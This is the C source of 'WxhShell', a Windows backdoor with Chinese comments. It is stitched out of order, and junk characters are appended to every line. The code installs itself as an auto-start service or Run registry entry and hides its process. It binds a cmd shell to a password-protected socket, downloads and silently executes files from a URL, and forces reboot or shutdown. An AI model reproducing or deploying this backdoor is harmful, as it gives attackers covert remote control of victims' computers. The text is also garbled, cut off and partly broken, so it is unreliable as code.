    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p `P~i&_  
    if(Boot(SHUTDOWN)) mCdgKr|n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&1 \'Zq?>  
    else { EB,4PEe:  
    closesocket(wsh); 1'O0`Me>#  
    ExitThread(0); Im)EDTm$  
    } Uc&iZFid2K  
    break; C-w5KW  
    } mQr0sI,o]  
  // 获取shell 8\# ^k#X  
  case 's': { 2d`c!  
    CmdShell(wsh); *||d\peQ  
    closesocket(wsh); g_z/{1$  
    ExitThread(0); t&}6;z 3  
    break; y LM"+.?pL  
  } rMp9jG@3   
  // 退出 u|fXP)>.  
  case 'x': { ]db@RbaH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kg>>D  
    CloseIt(wsh); o@k84+tn(  
    break; A 5nO=  
    } zOB=aG?/  
  // 离开 1*UN sEr  
  case 'q': { [BDGR B7d"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M_|> kp  
    closesocket(wsh); !w2gGy:I>  
    WSACleanup(); W^3;F1  
    exit(1); 1@_T  m  
    break; #/ "+  
        } ; Lql_1  
  } *e/K:k  
  } T3pdx~66  
|B^G:7c  
  // 提示信息 xs!p|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JhX=l-?  
} yI)~]K r  
  } VKW|kU7Cs$  
}}T,W.#%u  
  return; Jpj!rXTX*  
} W?z#pV+jt  
ao$.6X8fQ  
// shell模块句柄 UtJa3ya  
int CmdShell(SOCKET sock) _MfD   
{ k \qiF|B)Z  
STARTUPINFO si; e@n!x}t8  
ZeroMemory(&si,sizeof(si)); L?RF;jf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nE|@IGH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `xz&Scil  
PROCESS_INFORMATION ProcessInfo; \x+3f  
char cmdline[]="cmd"; tju|UhP3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &`!^Zq vG  
  return 0; aGoE,5  
} 7r 0,> 3"  
;3m!:l  
// 自身启动模式 i8PuC^]  
int StartFromService(void) N1x@-/xa|  
{ ziEz.Wn"  
typedef struct kXc25y'blP  
{ Q0cRH"!:  
  DWORD ExitStatus; lE5v-z? &|  
  DWORD PebBaseAddress; ycr"Y|  
  DWORD AffinityMask; Wa'sZ#  
  DWORD BasePriority; Q-eCHr)  
  ULONG UniqueProcessId; g,kzQ}_  
  ULONG InheritedFromUniqueProcessId; ,k0r  
}   PROCESS_BASIC_INFORMATION; %f ju G  
tE"Si<[]H$  
PROCNTQSIP NtQueryInformationProcess; .$rC0<G[K  
ra6o>lI(,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vpp&|n9^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y+-xvx :  
GWP dv  
  HANDLE             hProcess; p>*i$  
  PROCESS_BASIC_INFORMATION pbi; P?ep]  
Re= WfG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q4 k@l  
  if(NULL == hInst ) return 0; "Ty/k8?  
KfY$ka[}"S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,,<PVTd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lU2c_4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7;}l\VXHm  
o>lms t%<  
  if (!NtQueryInformationProcess) return 0; yTBS=+X  
2eP ;[o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C>QIrZu  
  if(!hProcess) return 0; D'[Uc6  
pwX C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z)"61) )  
t+TYb#Tc  
  CloseHandle(hProcess); `\Unpp\I  
adO&_NR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4)1;0,tlG  
if(hProcess==NULL) return 0; /^7iZ|>:M:  
jE/oA<^  
HMODULE hMod; f [o%hCS  
char procName[255]; x"4%(xBu  
unsigned long cbNeeded; d/,E2i{I7  
\5><3*\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8v92N g7  
&tI#T)SSs  
  CloseHandle(hProcess); ,?-\ x6  
&#m"/g7w4N  
if(strstr(procName,"services")) return 1; // 以服务启动 V5rp.~   
PX,rWkOce  
  return 0; // 注册表启动 v."Dnl  
} 9.+/~$Ht  
,LYFEq_  
// 主模块 (9RslvK L  
int StartWxhshell(LPSTR lpCmdLine) ?Dsm~bkX[  
{ P=8>c'Q  
  SOCKET wsl;  _^t-9  
BOOL val=TRUE; {G i h&N  
  int port=0; W{"XJt_  
  struct sockaddr_in door; )g1a'G  
3Rv7Qx  
  if(wscfg.ws_autoins) Install(); _YHu96H;  
@,H9zrjVFZ  
port=atoi(lpCmdLine); u5E]t9~Pq  
Rm>^tu -  
if(port<=0) port=wscfg.ws_port; j|(Z#3J  
c6AWn>H  
  WSADATA data; ]$iN#d|ZU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d^D i*&X  
cPF<D$B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;[0&G6g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C2F0tr|  
  door.sin_family = AF_INET; ~oD8Rnf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SW?p?<  
  door.sin_port = htons(port); `$R A< 3  
rAqxTdF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {I1~-8  
closesocket(wsl); G*8GGWB^a  
return 1; X" R<J#4  
} mxG]kqi  
tpf7_YP_!-  
  if(listen(wsl,2) == INVALID_SOCKET) { +C{p%`<  
closesocket(wsl); A}VYb:u/  
return 1; 8HErE< _(  
}  Qo0H  
  Wxhshell(wsl); r0dDHj~F  
  WSACleanup(); 6L4$vJ  
M:SO2Czz  
return 0; vA%^`5  
\F6LZZ2Lv  
} j|_E$L A\  
l}g;'9ZB  
// 以NT服务方式启动 (k"_># %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )LHj+B  
{ '3(l-nPiG^  
DWORD   status = 0; \ZXLX'-  
  DWORD   specificError = 0xfffffff; 7*H:Ob)9k  
e;95a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x K%=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ 0Yh!L?\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4&^9Wklj  
  serviceStatus.dwWin32ExitCode     = 0; qv{o |g QB  
  serviceStatus.dwServiceSpecificExitCode = 0; zsl,,gk9Y  
  serviceStatus.dwCheckPoint       = 0; aw $L$7b}  
  serviceStatus.dwWaitHint       = 0; =!MY4&YX  
P>Qpv Sd_#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %"$@%"8;3  
  if (hServiceStatusHandle==0) return; WOytxE  
O9h+Q\0\W  
status = GetLastError(); gPC@Yy  
  if (status!=NO_ERROR) W0`Gc {  
{ H:{7X1bV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U yqXMbw@  
    serviceStatus.dwCheckPoint       = 0; B5am1y{P#  
    serviceStatus.dwWaitHint       = 0; .V'V:;BE%  
    serviceStatus.dwWin32ExitCode     = status; A7XnHPIw  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vy)hDa[&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !sSQQo2Sv  
    return; N+W&NlZ   
  } ~|+zJ5  
!>^JSHR4t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E_ucab-Fi  
  serviceStatus.dwCheckPoint       = 0; |Rzy8j*  
  serviceStatus.dwWaitHint       = 0; "E=j|q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pt< s* (  
} vR7HF*8  
B/uniR^x  
// 处理NT服务事件,比如:启动、停止 w Fn[9_`*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l95<QI  
{ Z0,~V  
switch(fdwControl) d.<~&.-$  
{ k)(Biz398E  
case SERVICE_CONTROL_STOP: Y;J*4k]  
  serviceStatus.dwWin32ExitCode = 0; _O:WG&a6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F1azZ (  
  serviceStatus.dwCheckPoint   = 0; WgR4Ix^L#  
  serviceStatus.dwWaitHint     = 0; *<V^2z$y_  
  { 4N? v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I?!rOU= 0  
  } -0HkTY  
  return; u V6g[J  
case SERVICE_CONTROL_PAUSE: yl]FP@N(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2YwVU.*>  
  break; y>VcgLIB  
case SERVICE_CONTROL_CONTINUE: ekSY~z=/u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i^z`"3#LE  
  break; wVK*P -C  
case SERVICE_CONTROL_INTERROGATE: QGnxQ{ko  
  break; }qPhx6nP  
}; 'md0]R|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }k$4/7ri  
} g<*jlM1r  
S9sR#  
// 标准应用程序主函数 OJ>.-"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bn wzcl  
{ %Q|eiXD  
obClBO)@Y  
// 获取操作系统版本 EmVuwphv  
OsIsNt=GetOsVer(); 2-If]Fc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]hw-Bu\{  
p QE)p  
  // 从命令行安装 P @% .`8  
  if(strpbrk(lpCmdLine,"iI")) Install(); x ,/TXTZ6  
Ps[$.h  
  // 下载执行文件 eH>#6R1-  
if(wscfg.ws_downexe) { "AueLl)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c$E)P$<j  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y#V8(DTyH  
} P<dy3 ;  
VkmRh,T  
if(!OsIsNt) { D@Da0  
// 如果时win9x,隐藏进程并且设置为注册表启动 J@"utY6N  
HideProc(); Xg<[fwW  
StartWxhshell(lpCmdLine); ~fN%WZ;_  
} UV7%4xM5v  
else "u^EleE!  
  if(StartFromService()) m$Y :0_^-  
  // 以服务方式启动 X!,@ j\L  
  StartServiceCtrlDispatcher(DispatchTable); P~CrtTss  
else pJpNO$$w  
  // 普通方式启动 Gy29MUF  
  StartWxhshell(lpCmdLine); !R{R??  
Xh3;   
return 0; "l~Ci7& !a  
} t={0(  
O mMX$YID  
{5Lj8 N5  
a=}*mF[ug  
=========================================== h^|5|l  
.QWhK|(.!  
:> -1'HC  
nL `9l1  
X~U >LLr  
L_O$>c  
" 7 _jE[10  
!AHAS  
#include <stdio.h> fZryG  
#include <string.h> :J_oj:0r"f  
#include <windows.h> Pi6C/$ K  
#include <winsock2.h> 5>0.NiXGf'  
#include <winsvc.h> "cUg>a3  
#include <urlmon.h> i2,U,>.  
1JS2SxF  
#pragma comment (lib, "Ws2_32.lib") 7!V @/S}7  
#pragma comment (lib, "urlmon.lib") ~hX-u8Ul'N  
; 2`sN   
#define MAX_USER   100 // 最大客户端连接数 }7/e8 O2  
#define BUF_SOCK   200 // sock buffer UGKaOol.  
#define KEY_BUFF   255 // 输入 buffer ?bX  
~5aE2w0K   
#define REBOOT     0   // 重启 lJ  
#define SHUTDOWN   1   // 关机 HOW7cV'X  
o \L!(hm  
#define DEF_PORT   5000 // 监听端口 wrv5V M}  
=]>%t]  
#define REG_LEN     16   // 注册表键长度 4*H"Z(HP  
#define SVC_LEN     80   // NT服务名长度 >%%=0!,yX  
X T>('qy  
// 从dll定义API xF8S*,#,*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o+?@5zw -&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); htJuGfDx1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4jwu'7 Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); = 7/-i  
= 1|"-  
// wxhshell配置信息 [Eq<":)  
struct WSCFG { %_)zWlN  
  int ws_port;         // 监听端口 |"7Pv skT  
  char ws_passstr[REG_LEN]; // 口令 S3 \jcgrS  
  int ws_autoins;       // 安装标记, 1=yes 0=no E,"&-`/2v  
  char ws_regname[REG_LEN]; // 注册表键名 JSVeU54T^<  
  char ws_svcname[REG_LEN]; // 服务名 ^$?qT60%d|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 APBK9ky  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :h5J r8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pA4 ,@O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q+[ .Y&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FvImX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W4(?HTWZ  
)m#']c:rg  
}; fj']?a!m  
?T'][q  
// default Wxhshell configuration 2W$lQ;iO  
struct WSCFG wscfg={DEF_PORT, SG]K   
    "xuhuanlingzhe", WStnzVe  
    1, T 1Cs>#)  
    "Wxhshell", M}FWBs'*|  
    "Wxhshell", 05e>\}{0  
            "WxhShell Service", Wr%7~y*K  
    "Wrsky Windows CmdShell Service", I 48VNX  
    "Please Input Your Password: ", ,@CfVQz  
  1, 4('JwZw\!  
  "http://www.wrsky.com/wxhshell.exe", H'Qo\L4H  
  "Wxhshell.exe" wK5_t[[  
    }; }[=YU%[o:  
ej[Su  
// 消息定义模块 W'$kZ/%[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uene=Q6>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9%,;XQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O.\h'3C  
char *msg_ws_ext="\n\rExit."; 7sV /_3H+  
char *msg_ws_end="\n\rQuit."; 3oBC   
char *msg_ws_boot="\n\rReboot..."; (F5ttQPh  
char *msg_ws_poff="\n\rShutdown..."; -F`he=Ev9  
char *msg_ws_down="\n\rSave to "; MOZu.NmO  
otriif@+Z  
char *msg_ws_err="\n\rErr!"; zB)%lb  
char *msg_ws_ok="\n\rOK!"; s (PY/{8  
>;lKLGJrd>  
char ExeFile[MAX_PATH]; \Ow,CUd  
int nUser = 0; ~<O,Vs_C/  
HANDLE handles[MAX_USER]; \+B?}P8N*l  
int OsIsNt; JZx%J)  
[X"k> Sq  
SERVICE_STATUS       serviceStatus; P[i\e7mR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $$gtZ{ukQ  
`BT^a =5  
// 函数声明  )U98  
int Install(void); aqL<v94wX  
int Uninstall(void); YKx 1NC  
int DownloadFile(char *sURL, SOCKET wsh); Jt=>-Spj  
int Boot(int flag); Bymny>.M  
void HideProc(void); 5' \)`  
int GetOsVer(void); Y3o Mh,  
int Wxhshell(SOCKET wsl); i?>Hr|  
void TalkWithClient(void *cs); lX;mhJj!  
int CmdShell(SOCKET sock); MUwVG>b8J~  
int StartFromService(void); AzjMv6N   
int StartWxhshell(LPSTR lpCmdLine); h}6_ybmZ  
tgN92Q.i6T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #5{sglC"|F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j%xBo:  
Bw-s6MS  
// 数据结构和表定义 H@W0gK(cS;  
SERVICE_TABLE_ENTRY DispatchTable[] = V5s& hZZYa  
{ *{[d%B<lp  
{wscfg.ws_svcname, NTServiceMain}, b(&] >z  
{NULL, NULL} Lk nVqZ|k  
}; iZTa>@   
yYX :huw  
// 自我安装 <Cq"| A  
int Install(void) Z<]VTo  
{ BjZ>hhs!*  
  char svExeFile[MAX_PATH]; \R Z3Hh  
  HKEY key; y4<+-  
  strcpy(svExeFile,ExeFile); qS]G&l6QF  
(#u{ U=  
// 如果是win9x系统,修改注册表设为自启动 }tR'Hz2  
if(!OsIsNt) { qJ Gm8^b-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =] KIkS3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /djACA  
  RegCloseKey(key); 7^wE$7hS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cjY@Ot*i$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4A  o{M  
  RegCloseKey(key); ;1E_o  
  return 0; 9[{sEg=C$e  
    } 3^~Zj95M  
  } Czh8zB+r  
} "::9aYd!  
else { ~d+O/:=K_  
.0 X$rX=  
// 如果是NT以上系统,安装为系统服务 lC{L6&T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V.j#E 1P  
if (schSCManager!=0) FO^24p  
{ ?*o;o?5s^  
  SC_HANDLE schService = CreateService LDX y}hm)  
  ( ?N _)>&b  
  schSCManager, +$ ~8)95<B  
  wscfg.ws_svcname, ZgBckb  
  wscfg.ws_svcdisp, G5u meqYC  
  SERVICE_ALL_ACCESS, n)CH^WHL&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 88YC0!Ni  
  SERVICE_AUTO_START, 'FxYMSZS$  
  SERVICE_ERROR_NORMAL, BvJ\x)  
  svExeFile, ^0eO\wc?O  
  NULL, ybYXD?  
  NULL, -x?Hj/  
  NULL, kA,4$ 2_o  
  NULL, JP%RTGu  
  NULL jrcc  
  ); Rk{$S"8S_  
  if (schService!=0) T>5wQYh$'  
  { lb95!.av+I  
  CloseServiceHandle(schService); FvA|1c  
  CloseServiceHandle(schSCManager); J ~'~[,K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2%]t3\XW  
  strcat(svExeFile,wscfg.ws_svcname); Xv&%2-V;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w3d\0ub  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j]Ua\|t  
  RegCloseKey(key); m9I(TOw  
  return 0; tnJ`D4  
    } N.vG]%1"  
  } d3(+ztmG!  
  CloseServiceHandle(schSCManager); 2{gwY85:  
} 2D_6  
} D:6N9POB  
C\/b~HU  
return 1; m&ZJqsZIL  
} R/rcXX7%  
9Q=>MOB-  
// 自我卸载 ^T+<!k  
int Uninstall(void) 1sMV`qv>  
{ vhX-Qkt}  
  HKEY key; \`&xprqAw  
(E IRz>  
if(!OsIsNt) { Ga?UHw~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pgx+\;w"  
  RegDeleteValue(key,wscfg.ws_regname); 13\Sh  
  RegCloseKey(key); `43vxcMg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uzO {{S-  
  RegDeleteValue(key,wscfg.ws_regname); n }TTq6B  
  RegCloseKey(key); eoC<a"bJ>  
  return 0; qb9}&'@:  
  } U#iT<#!l2  
} VrudR#q  
} (w}r7`n  
else { qjzZ}  
nHE+p\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "LXXs0  
if (schSCManager!=0) j}"]s/= 6  
{ /LSq%~UF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vg5E/+4gp%  
  if (schService!=0) :nt}7Dn'  
  { PQQgDtiH  
  if(DeleteService(schService)!=0) { ?'T"?b<  
  CloseServiceHandle(schService); HoMQt3C  
  CloseServiceHandle(schSCManager); VBhE{4J  
  return 0; tI `w;e%HN  
  } "3v7gtGG  
  CloseServiceHandle(schService); -5o?#%  
  } +OKA_b"wB  
  CloseServiceHandle(schSCManager); 1RmBtx\<  
} dPRtN@3  
} gca|?tt  
_AVy:~/  
return 1; +V6j`  
} rknzo]N,  
MG;4M>H  
// 从指定url下载文件 IM$ 'J  
int DownloadFile(char *sURL, SOCKET wsh) LxIuxt=X|p  
{ `Nkx7Z~w:  
  HRESULT hr; Qa>%[jx,@,  
char seps[]= "/"; ozT._ C  
char *token; T..-)kL+p  
char *file; 69N1 mP  
char myURL[MAX_PATH]; )0'Y et}  
char myFILE[MAX_PATH]; >h|UCJ1 `  
fQ^h{n  
strcpy(myURL,sURL); imC&pPBB/G  
  token=strtok(myURL,seps); :m)c[q8  
  while(token!=NULL) UzXDi#Ky  
  { "pR $cS  
    file=token; {c.}fyN  
  token=strtok(NULL,seps); 6ch@Be5*  
  } VOD1xWrb  
% cU-5\xF  
GetCurrentDirectory(MAX_PATH,myFILE); [ e$]pN%  
strcat(myFILE, "\\"); XA=|]5C  
strcat(myFILE, file); mI2|0RWI)l  
  send(wsh,myFILE,strlen(myFILE),0); SB5@\^  
send(wsh,"...",3,0); rHH#@ Zx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 Wxq)  
  if(hr==S_OK) ytg7p5{!i  
return 0; JiG8jB7%}  
else ^XtHF|%0T  
return 1; fN~8L}!l  
+SP! R[a  
} rjfc.l#v  
4X<Oux*  
// 系统电源模块 FuIWiO(  
int Boot(int flag) Z#H@BWN7  
{ dP$y>%cB  
  HANDLE hToken; Vjv6\;tt8  
  TOKEN_PRIVILEGES tkp; t201ud2$  
hj%}GP{{  
  if(OsIsNt) { ;""-[4C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); = .fc"R|<K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8f5%xY$  
    tkp.PrivilegeCount = 1; 5;r({ J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A{xSbbDk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y}s 0J K  
if(flag==REBOOT) { 4yJ01s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D7 8) 4>X  
  return 0; Z?.:5#  
} jFI]54,  
else { \z(>h&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ={e#lC  
  return 0; r%O rH-T  
} 1 8l~4"|fk  
  } "a2H8x  
  else { yTMGISX5  
if(flag==REBOOT) { ?)i6:76(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gME:\ud$  
  return 0; s2,`eV  
} Py(wT%w  
else { 3?-V>-[G_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LWp?U!N  
  return 0; LGdf_M-f  
} 0~LnnD N  
} &q kl*#]  
wpPxEp/  
return 1; c/,|[ t  
} J-HabHv  
'dd<<E  
// win9x进程隐藏模块 Pj^k pjV  
void HideProc(void) ~8S4Kj)%  
{ ]kU~#WT  
y"{UN M|R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~XN]?5GQf  
  if ( hKernel != NULL ) 5Lo==jHif  
  { ~}FLn9@*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lUm}nsp=X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (5CX*)R  
    FreeLibrary(hKernel); J{v6DYhi  
  } U/~Zk@3j  
[m@e^6F0U  
return; 6M2i? c  
} Xlgz.j7XR  
.-gm"lB  
// 获取操作系统版本 LQuYCfj|  
int GetOsVer(void) o>!~*b';g,  
{ 9 ;! uV>-H  
  OSVERSIONINFO winfo; ** "s~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \n('KVbf  
  GetVersionEx(&winfo); M\x7=*\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `s]zk {x  
  return 1; P-*R N   
  else 6'X.[0M  
  return 0; X]f#w  
} <{P^W;N7  
Wl^/=I4p#  
// 客户端句柄模块 n,R[O_9u[  
int Wxhshell(SOCKET wsl) l"V8n BR`  
{ &vGEz*F  
  SOCKET wsh; o7Z#,>`2  
  struct sockaddr_in client; M 2U@gC|{  
  DWORD myID; IT{.^rP  
|Cxip&e>  
  while(nUser<MAX_USER) .,(uoK{  
{ Y=#mx3.  
  int nSize=sizeof(client); L>K39z~,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n$Oky-P"  
  if(wsh==INVALID_SOCKET) return 1; ^~hhdwu3a  
_a:!U^4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s`7 _J9  
if(handles[nUser]==0) F'T= Alf  
  closesocket(wsh); A1&>L9nUx  
else 7Ohu$5\  
  nUser++; gEe W1:AB  
  } ]f+D& qZ B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 88X*:Kf?:  
)QJU ]G  
  return 0; }][|]/s?42  
} hwb(W?*  
p{pzOMi6  
// 关闭 socket }<x!95  
void CloseIt(SOCKET wsh) V-o`L`(F`  
{ -^NAHE$bW  
closesocket(wsh); wr6xuoH  
nUser--; 8aIq#v  
ExitThread(0); jL[Is2<@  
} ;Bc<u[G  
9 h{:!  
// 客户端请求句柄 "$wPq@  
void TalkWithClient(void *cs) u{dN>}{  
{ R,b O{2O  
T W;;OS[  
  SOCKET wsh=(SOCKET)cs; (Os OPTp  
  char pwd[SVC_LEN]; 7Q4Pjc D  
  char cmd[KEY_BUFF]; &?ed.V@E5  
char chr[1]; [Z`:1_^0}  
int i,j; 'V*M_o(\  
dzC&7 9$  
  while (nUser < MAX_USER) { $9u  
"vHAp55B{  
if(wscfg.ws_passstr) { %0M^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^zs4tCW%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #p:jKAc3  
  //ZeroMemory(pwd,KEY_BUFF); 1Z{p[\k  
      i=0; %emPSBf@  
  while(i<SVC_LEN) { 4m~stDlN  
2wim P8  
  // 设置超时 kl<B*:RqH  
  fd_set FdRead; jgfP|oD  
  struct timeval TimeOut; "rlSK >`  
  FD_ZERO(&FdRead); R@{/$p:  
  FD_SET(wsh,&FdRead); .}u(&  
  TimeOut.tv_sec=8; =D:R'0YH  
  TimeOut.tv_usec=0; 7&S|y]$~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )-:f;#xJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FT?1Q'  
IgnY* 2FT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {w1h<;MH  
  pwd=chr[0]; It:QXLi;  
  if(chr[0]==0xd || chr[0]==0xa) { f0`rJ?us  
  pwd=0; b5,}w:  
  break; y5tAp  
  } FZI 4?YD?<  
  i++; S5JR`o  
    } ReGb .pf  
/8-VC"  
  // 如果是非法用户,关闭 socket 2dlV'U_g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .KMi)1L)  
} 8t 35j   
GP k Cgb(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h[)aRo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 ~|TKd{  
.6A:t? .  
while(1) { Pj5#G0i%  
a/`Yh>ou  
  ZeroMemory(cmd,KEY_BUFF); |ssIUJ  
1&L){hg  
      // 自动支持客户端 telnet标准   \36;csu  
  j=0; u z2s-,  
  while(j<KEY_BUFF) { T1]X   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vrldRn'*9  
  cmd[j]=chr[0]; uTloj .  
  if(chr[0]==0xa || chr[0]==0xd) { aI#n+PW  
  cmd[j]=0; 'ah0IYe  
  break; '/*rCB  
  } = y,avR  
  j++; J^a"1|  
    } "jJ)hk5e  
])l[tVHm  
  // 下载文件 sN) .Jo  
  if(strstr(cmd,"http://")) { PvBbtC-9b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %YAiSSsV  
  if(DownloadFile(cmd,wsh)) \@t5S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'/;Z:  
  else _o"3gfH&sJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (dt_ D  
  } ZVR 9vw 28  
  else { %hb5C 4q  
RL)3k8pk  
